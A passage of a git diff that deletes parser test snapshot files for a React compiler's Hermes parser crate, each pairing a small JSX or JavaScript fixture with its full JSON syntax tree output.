-      ],
-      "loc": null,
-      "range": [
-        0,
-        156
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    156
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-with-fbt.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-with-fbt.js.snap
deleted file mode 100644
index b7463108d523..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-with-fbt.js.snap
+++ /dev/null
@@ -1,1130 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/lambda-with-fbt.js
----
-Input:
-import { fbt } from "fbt";
-
-function Component() {
-  const buttonLabel = () => {
-    if (!someCondition) {
-      return <fbt desc="My label">{"Purchase as a gift"}</fbt>;
-    } else if (
-      !iconOnly &&
-      showPrice &&
-      item?.current_gift_offer?.price?.formatted != null
-    ) {
-      return (
-        <fbt desc="Gift button's label">
-          {"Gift | "}
-          <fbt:param name="price">
-            {item?.current_gift_offer?.price?.formatted}
-          </fbt:param>
-        </fbt>
-      );
-    } else if (!iconOnly && !showPrice) {
-      return <fbt desc="Gift button's label">{"Gift"}</fbt>;
-    }
-  };
-
-  return (
-    <View>
-      <Button text={buttonLabel()} />
-    </View>
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "ImportDeclaration",
-      "specifiers": [
-        {
-          "type": "ImportSpecifier",
-          "imported": {
-            "type": "Identifier",
-            "name": "fbt",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              9,
-              12
-            ]
-          },
-          "local": {
-            "type": "Identifier",
-            "name": "fbt",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              9,
-              12
-            ]
-          },
-          "loc": null,
-          "range": [
-            9,
-            12
-          ]
-        }
-      ],
-      "source": {
-        "type": "StringLiteral",
-        "value": "fbt",
-        "loc": null,
-        "range": [
-          20,
-          25
-        ]
-      },
-      "loc": null,
-      "range": [
-        0,
-        26
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          37,
-          46
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "buttonLabel",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    59,
-                    70
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "IfStatement",
-                        "test": {
-                          "type": "UnaryExpression",
-                          "operator": "!",
-                          "prefix": true,
-                          "argument": {
-                            "type": "Identifier",
-                            "name": "someCondition",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              90,
-                              103
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            89,
-                            103
-                          ]
-                        },
-                        "consequent": {
-                          "type": "BlockStatement",
-                          "body": [
-                            {
-                              "type": "ReturnStatement",
-                              "argument": {
-                                "type": "JSXElement",
-                                "openingElement": {
-                                  "type": "JSXOpeningElement",
-                                  "name": {
-                                    "type": "JSXIdentifier",
-                                    "name": "fbt",
-                                    "loc": null,
-                                    "range": [
-                                      121,
-                                      124
-                                    ]
-                                  },
-                                  "attributes": [
-                                    {
-                                      "type": "JSXAttribute",
-                                      "name": {
-                                        "type": "JSXIdentifier",
-                                        "name": "desc",
-                                        "loc": null,
-                                        "range": [
-                                          125,
-                                          129
-                                        ]
-                                      },
-                                      "value": {
-                                        "type": "JSXStringLiteral",
-                                        "value": "My label",
-                                        "raw": "\"My label\"",
-                                        "loc": null,
-                                        "range": [
-                                          130,
-                                          140
-                                        ]
-                                      },
-                                      "loc": null,
-                                      "range": [
-                                        125,
-                                        140
-                                      ]
-                                    }
-                                  ],
-                                  "selfClosing": false,
-                                  "loc": null,
-                                  "range": [
-                                    120,
-                                    141
-                                  ]
-                                },
-                                "children": [
-                                  {
-                                    "type": "JSXExpressionContainer",
-                                    "expression": {
-                                      "type": "StringLiteral",
-                                      "value": "Purchase as a gift",
-                                      "loc": null,
-                                      "range": [
-                                        142,
-                                        162
-                                      ]
-                                    },
-                                    "loc": null,
-                                    "range": [
-                                      141,
-                                      163
-                                    ]
-                                  }
-                                ],
-                                "closingElement": {
-                                  "type": "JSXClosingElement",
-                                  "name": {
-                                    "type": "JSXIdentifier",
-                                    "name": "fbt",
-                                    "loc": null,
-                                    "range": [
-                                      165,
-                                      168
-                                    ]
-                                  },
-                                  "loc": null,
-                                  "range": [
-                                    163,
-                                    169
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  120,
-                                  169
-                                ]
-                              },
-                              "loc": null,
-                              "range": [
-                                113,
-                                170
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            105,
-                            176
-                          ]
-                        },
-                        "alternate": {
-                          "type": "IfStatement",
-                          "test": {
-                            "type": "LogicalExpression",
-                            "operator": "&&",
-                            "left": {
-                              "type": "LogicalExpression",
-                              "operator": "&&",
-                              "left": {
-                                "type": "UnaryExpression",
-                                "operator": "!",
-                                "prefix": true,
-                                "argument": {
-                                  "type": "Identifier",
-                                  "name": "iconOnly",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    194,
-                                    202
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  193,
-                                  202
-                                ]
-                              },
-                              "right": {
-                                "type": "Identifier",
-                                "name": "showPrice",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  212,
-                                  221
-                                ]
-                              },
-                              "loc": null,
-                              "range": [
-                                193,
-                                221
-                              ]
-                            },
-                            "right": {
-                              "type": "BinaryExpression",
-                              "left": {
-                                "type": "OptionalMemberExpression",
-                                "object": {
-                                  "type": "OptionalMemberExpression",
-                                  "object": {
-                                    "type": "OptionalMemberExpression",
-                                    "object": {
-                                      "type": "Identifier",
-                                      "name": "item",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        231,
-                                        235
-                                      ]
-                                    },
-                                    "property": {
-                                      "type": "Identifier",
-                                      "name": "current_gift_offer",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        237,
-                                        255
-                                      ]
-                                    },
-                                    "computed": false,
-                                    "optional": true,
-                                    "loc": null,
-                                    "range": [
-                                      231,
-                                      255
-                                    ]
-                                  },
-                                  "property": {
-                                    "type": "Identifier",
-                                    "name": "price",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      257,
-                                      262
-                                    ]
-                                  },
-                                  "computed": false,
-                                  "optional": true,
-                                  "loc": null,
-                                  "range": [
-                                    231,
-                                    262
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "formatted",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    264,
-                                    273
-                                  ]
-                                },
-                                "computed": false,
-                                "optional": true,
-                                "loc": null,
-                                "range": [
-                                  231,
-                                  273
-                                ]
-                              },
-                              "operator": "!=",
-                              "right": {
-                                "type": "NullLiteral",
-                                "loc": null,
-                                "range": [
-                                  277,
-                                  281
-                                ]
-                              },
-                              "loc": null,
-                              "range": [
-                                231,
-                                281
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              193,
-                              281
-                            ]
-                          },
-                          "consequent": {
-                            "type": "BlockStatement",
-                            "body": [
-                              {
-                                "type": "ReturnStatement",
-                                "argument": {
-                                  "type": "JSXElement",
-                                  "openingElement": {
-                                    "type": "JSXOpeningElement",
-                                    "name": {
-                                      "type": "JSXIdentifier",
-                                      "name": "fbt",
-                                      "loc": null,
-                                      "range": [
-                                        314,
-                                        317
-                                      ]
-                                    },
-                                    "attributes": [
-                                      {
-                                        "type": "JSXAttribute",
-                                        "name": {
-                                          "type": "JSXIdentifier",
-                                          "name": "desc",
-                                          "loc": null,
-                                          "range": [
-                                            318,
-                                            322
-                                          ]
-                                        },
-                                        "value": {
-                                          "type": "JSXStringLiteral",
-                                          "value": "Gift button's label",
-                                          "raw": "\"Gift button's label\"",
-                                          "loc": null,
-                                          "range": [
-                                            323,
-                                            344
-                                          ]
-                                        },
-                                        "loc": null,
-                                        "range": [
-                                          318,
-                                          344
-                                        ]
-                                      }
-                                    ],
-                                    "selfClosing": false,
-                                    "loc": null,
-                                    "range": [
-                                      313,
-                                      345
-                                    ]
-                                  },
-                                  "children": [
-                                    {
-                                      "type": "JSXText",
-                                      "value": "\n          ",
-                                      "raw": "\n          ",
-                                      "loc": null,
-                                      "range": [
-                                        345,
-                                        356
-                                      ]
-                                    },
-                                    {
-                                      "type": "JSXExpressionContainer",
-                                      "expression": {
-                                        "type": "StringLiteral",
-                                        "value": "Gift | ",
-                                        "loc": null,
-                                        "range": [
-                                          357,
-                                          366
-                                        ]
-                                      },
-                                      "loc": null,
-                                      "range": [
-                                        356,
-                                        367
-                                      ]
-                                    },
-                                    {
-                                      "type": "JSXText",
-                                      "value": "\n          ",
-                                      "raw": "\n          ",
-                                      "loc": null,
-                                      "range": [
-                                        367,
-                                        378
-                                      ]
-                                    },
-                                    {
-                                      "type": "JSXElement",
-                                      "openingElement": {
-                                        "type": "JSXOpeningElement",
-                                        "name": {
-                                          "type": "JSXNamespacedName",
-                                          "namespace": {
-                                            "type": "JSXIdentifier",
-                                            "name": "fbt",
-                                            "loc": null,
-                                            "range": [
-                                              379,
-                                              382
-                                            ]
-                                          },
-                                          "name": {
-                                            "type": "JSXIdentifier",
-                                            "name": "param",
-                                            "loc": null,
-                                            "range": [
-                                              383,
-                                              388
-                                            ]
-                                          },
-                                          "loc": null,
-                                          "range": [
-                                            379,
-                                            388
-                                          ]
-                                        },
-                                        "attributes": [
-                                          {
-                                            "type": "JSXAttribute",
-                                            "name": {
-                                              "type": "JSXIdentifier",
-                                              "name": "name",
-                                              "loc": null,
-                                              "range": [
-                                                389,
-                                                393
-                                              ]
-                                            },
-                                            "value": {
-                                              "type": "JSXStringLiteral",
-                                              "value": "price",
-                                              "raw": "\"price\"",
-                                              "loc": null,
-                                              "range": [
-                                                394,
-                                                401
-                                              ]
-                                            },
-                                            "loc": null,
-                                            "range": [
-                                              389,
-                                              401
-                                            ]
-                                          }
-                                        ],
-                                        "selfClosing": false,
-                                        "loc": null,
-                                        "range": [
-                                          378,
-                                          402
-                                        ]
-                                      },
-                                      "children": [
-                                        {
-                                          "type": "JSXText",
-                                          "value": "\n            ",
-                                          "raw": "\n            ",
-                                          "loc": null,
-                                          "range": [
-                                            402,
-                                            415
-                                          ]
-                                        },
-                                        {
-                                          "type": "JSXExpressionContainer",
-                                          "expression": {
-                                            "type": "OptionalMemberExpression",
-                                            "object": {
-                                              "type": "OptionalMemberExpression",
-                                              "object": {
-                                                "type": "OptionalMemberExpression",
-                                                "object": {
-                                                  "type": "Identifier",
-                                                  "name": "item",
-                                                  "typeAnnotation": null,
-                                                  "loc": null,
-                                                  "range": [
-                                                    416,
-                                                    420
-                                                  ]
-                                                },
-                                                "property": {
-                                                  "type": "Identifier",
-                                                  "name": "current_gift_offer",
-                                                  "typeAnnotation": null,
-                                                  "loc": null,
-                                                  "range": [
-                                                    422,
-                                                    440
-                                                  ]
-                                                },
-                                                "computed": false,
-                                                "optional": true,
-                                                "loc": null,
-                                                "range": [
-                                                  416,
-                                                  440
-                                                ]
-                                              },
-                                              "property": {
-                                                "type": "Identifier",
-                                                "name": "price",
-                                                "typeAnnotation": null,
-                                                "loc": null,
-                                                "range": [
-                                                  442,
-                                                  447
-                                                ]
-                                              },
-                                              "computed": false,
-                                              "optional": true,
-                                              "loc": null,
-                                              "range": [
-                                                416,
-                                                447
-                                              ]
-                                            },
-                                            "property": {
-                                              "type": "Identifier",
-                                              "name": "formatted",
-                                              "typeAnnotation": null,
-                                              "loc": null,
-                                              "range": [
-                                                449,
-                                                458
-                                              ]
-                                            },
-                                            "computed": false,
-                                            "optional": true,
-                                            "loc": null,
-                                            "range": [
-                                              416,
-                                              458
-                                            ]
-                                          },
-                                          "loc": null,
-                                          "range": [
-                                            415,
-                                            459
-                                          ]
-                                        },
-                                        {
-                                          "type": "JSXText",
-                                          "value": "\n          ",
-                                          "raw": "\n          ",
-                                          "loc": null,
-                                          "range": [
-                                            459,
-                                            470
-                                          ]
-                                        }
-                                      ],
-                                      "closingElement": {
-                                        "type": "JSXClosingElement",
-                                        "name": {
-                                          "type": "JSXNamespacedName",
-                                          "namespace": {
-                                            "type": "JSXIdentifier",
-                                            "name": "fbt",
-                                            "loc": null,
-                                            "range": [
-                                              472,
-                                              475
-                                            ]
-                                          },
-                                          "name": {
-                                            "type": "JSXIdentifier",
-                                            "name": "param",
-                                            "loc": null,
-                                            "range": [
-                                              476,
-                                              481
-                                            ]
-                                          },
-                                          "loc": null,
-                                          "range": [
-                                            472,
-                                            481
-                                          ]
-                                        },
-                                        "loc": null,
-                                        "range": [
-                                          470,
-                                          482
-                                        ]
-                                      },
-                                      "loc": null,
-                                      "range": [
-                                        378,
-                                        482
-                                      ]
-                                    },
-                                    {
-                                      "type": "JSXText",
-                                      "value": "\n        ",
-                                      "raw": "\n        ",
-                                      "loc": null,
-                                      "range": [
-                                        482,
-                                        491
-                                      ]
-                                    }
-                                  ],
-                                  "closingElement": {
-                                    "type": "JSXClosingElement",
-                                    "name": {
-                                      "type": "JSXIdentifier",
-                                      "name": "fbt",
-                                      "loc": null,
-                                      "range": [
-                                        493,
-                                        496
-                                      ]
-                                    },
-                                    "loc": null,
-                                    "range": [
-                                      491,
-                                      497
-                                    ]
-                                  },
-                                  "loc": null,
-                                  "range": [
-                                    313,
-                                    497
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  296,
-                                  506
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              288,
-                              512
-                            ]
-                          },
-                          "alternate": {
-                            "type": "IfStatement",
-                            "test": {
-                              "type": "LogicalExpression",
-                              "operator": "&&",
-                              "left": {
-                                "type": "UnaryExpression",
-                                "operator": "!",
-                                "prefix": true,
-                                "argument": {
-                                  "type": "Identifier",
-                                  "name": "iconOnly",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    523,
-                                    531
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  522,
-                                  531
-                                ]
-                              },
-                              "right": {
-                                "type": "UnaryExpression",
-                                "operator": "!",
-                                "prefix": true,
-                                "argument": {
-                                  "type": "Identifier",
-                                  "name": "showPrice",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    536,
-                                    545
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  535,
-                                  545
-                                ]
-                              },
-                              "loc": null,
-                              "range": [
-                                522,
-                                545
-                              ]
-                            },
-                            "consequent": {
-                              "type": "BlockStatement",
-                              "body": [
-                                {
-                                  "type": "ReturnStatement",
-                                  "argument": {
-                                    "type": "JSXElement",
-                                    "openingElement": {
-                                      "type": "JSXOpeningElement",
-                                      "name": {
-                                        "type": "JSXIdentifier",
-                                        "name": "fbt",
-                                        "loc": null,
-                                        "range": [
-                                          563,
-                                          566
-                                        ]
-                                      },
-                                      "attributes": [
-                                        {
-                                          "type": "JSXAttribute",
-                                          "name": {
-                                            "type": "JSXIdentifier",
-                                            "name": "desc",
-                                            "loc": null,
-                                            "range": [
-                                              567,
-                                              571
-                                            ]
-                                          },
-                                          "value": {
-                                            "type": "JSXStringLiteral",
-                                            "value": "Gift button's label",
-                                            "raw": "\"Gift button's label\"",
-                                            "loc": null,
-                                            "range": [
-                                              572,
-                                              593
-                                            ]
-                                          },
-                                          "loc": null,
-                                          "range": [
-                                            567,
-                                            593
-                                          ]
-                                        }
-                                      ],
-                                      "selfClosing": false,
-                                      "loc": null,
-                                      "range": [
-                                        562,
-                                        594
-                                      ]
-                                    },
-                                    "children": [
-                                      {
-                                        "type": "JSXExpressionContainer",
-                                        "expression": {
-                                          "type": "StringLiteral",
-                                          "value": "Gift",
-                                          "loc": null,
-                                          "range": [
-                                            595,
-                                            601
-                                          ]
-                                        },
-                                        "loc": null,
-                                        "range": [
-                                          594,
-                                          602
-                                        ]
-                                      }
-                                    ],
-                                    "closingElement": {
-                                      "type": "JSXClosingElement",
-                                      "name": {
-                                        "type": "JSXIdentifier",
-                                        "name": "fbt",
-                                        "loc": null,
-                                        "range": [
-                                          604,
-                                          607
-                                        ]
-                                      },
-                                      "loc": null,
-                                      "range": [
-                                        602,
-                                        608
-                                      ]
-                                    },
-                                    "loc": null,
-                                    "range": [
-                                      562,
-                                      608
-                                    ]
-                                  },
-                                  "loc": null,
-                                  "range": [
-                                    555,
-                                    609
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                547,
-                                615
-                              ]
-                            },
-                            "alternate": null,
-                            "loc": null,
-                            "range": [
-                              518,
-                              615
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            182,
-                            615
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          85,
-                          615
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      79,
-                      619
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    73,
-                    619
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    73,
-                    619
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  59,
-                  619
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              53,
-              620
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "View",
-                  "loc": null,
-                  "range": [
-                    638,
-                    642
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  637,
-                  643
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    643,
-                    650
-                  ]
-                },
-                {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "Button",
-                      "loc": null,
-                      "range": [
-                        651,
-                        657
-                      ]
-                    },
-                    "attributes": [
-                      {
-                        "type": "JSXAttribute",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "text",
-                          "loc": null,
-                          "range": [
-                            658,
-                            662
-                          ]
-                        },
-                        "value": {
-                          "type": "JSXExpressionContainer",
-                          "expression": {
-                            "type": "CallExpression",
-                            "callee": {
-                              "type": "Identifier",
-                              "name": "buttonLabel",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                664,
-                                675
-                              ]
-                            },
-                            "arguments": [],
-                            "loc": null,
-                            "range": [
-                              664,
-                              677
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            663,
-                            678
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          658,
-                          678
-                        ]
-                      }
-                    ],
-                    "selfClosing": true,
-                    "loc": null,
-                    "range": [
-                      650,
-                      681
-                    ]
-                  },
-                  "children": [],
-                  "closingElement": null,
-                  "loc": null,
-                  "range": [
-                    650,
-                    681
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    681,
-                    686
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "View",
-                  "loc": null,
-                  "range": [
-                    688,
-                    692
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  686,
-                  693
-                ]
-              },
-              "loc": null,
-              "range": [
-                637,
-                693
-              ]
-            },
-            "loc": null,
-            "range": [
-              624,
-              698
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          49,
-          700
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        28,
-        700
-      ],
-      "loc": null,
-      "range": [
-        28,
-        700
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    700
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@logical-expression-object.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@logical-expression-object.js.snap
deleted file mode 100644
index b64b009d7afd..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@logical-expression-object.js.snap
+++ /dev/null
@@ -1,503 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/logical-expression-object.js
----
-Input:
-function component(props) {
-  // The mutable range for a extens the entire body.
-  // commenting out the last line of InferMutableRanges fixes it.
-  // my guess of what's going on is that a is aliased into the return value object literal,
-  // and that alias makes it look like the range of a needs to be extended to that point.
-  // but what's weird is that the end of a's range doesn't quite extend to the object.
-  let a = props.a || (props.b && props.c && props.d);
-  let b = (props.a && props.b && props.c) || props.d;
-  return { a, b };
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    422,
-                    423
-                  ]
-                },
-                "init": {
-                  "type": "LogicalExpression",
-                  "operator": "||",
-                  "left": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        426,
-                        431
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        432,
-                        433
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      426,
-                      433
-                    ]
-                  },
-                  "right": {
-                    "type": "LogicalExpression",
-                    "operator": "&&",
-                    "left": {
-                      "type": "LogicalExpression",
-                      "operator": "&&",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            438,
-                            443
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            444,
-                            445
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          438,
-                          445
-                        ]
-                      },
-                      "right": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            449,
-                            454
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "c",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            455,
-                            456
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          449,
-                          456
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        438,
-                        456
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          460,
-                          465
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "d",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          466,
-                          467
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        460,
-                        467
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      438,
-                      467
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    426,
-                    468
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  422,
-                  468
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              418,
-              469
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    476,
-                    477
-                  ]
-                },
-                "init": {
-                  "type": "LogicalExpression",
-                  "operator": "||",
-                  "left": {
-                    "type": "LogicalExpression",
-                    "operator": "&&",
-                    "left": {
-                      "type": "LogicalExpression",
-                      "operator": "&&",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            481,
-                            486
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            487,
-                            488
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          481,
-                          488
-                        ]
-                      },
-                      "right": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            492,
-                            497
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            498,
-                            499
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          492,
-                          499
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        481,
-                        499
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          503,
-                          508
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "c",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          509,
-                          510
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        503,
-                        510
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      481,
-                      510
-                    ]
-                  },
-                  "right": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        515,
-                        520
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "d",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        521,
-                        522
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      515,
-                      522
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    480,
-                    522
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  476,
-                  522
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              472,
-              523
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ObjectExpression",
-              "properties": [
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      535,
-                      536
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      535,
-                      536
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    535,
-                    536
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      538,
-                      539
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      538,
-                      539
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    538,
-                    539
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                533,
-                541
-              ]
-            },
-            "loc": null,
-            "range": [
-              526,
-              542
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          544
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        544
-      ],
-      "loc": null,
-      "range": [
-        0,
-        544
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    544
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@logical-expression.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@logical-expression.js.snap
deleted file mode 100644
index 06d0ce1a392f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@logical-expression.js.snap
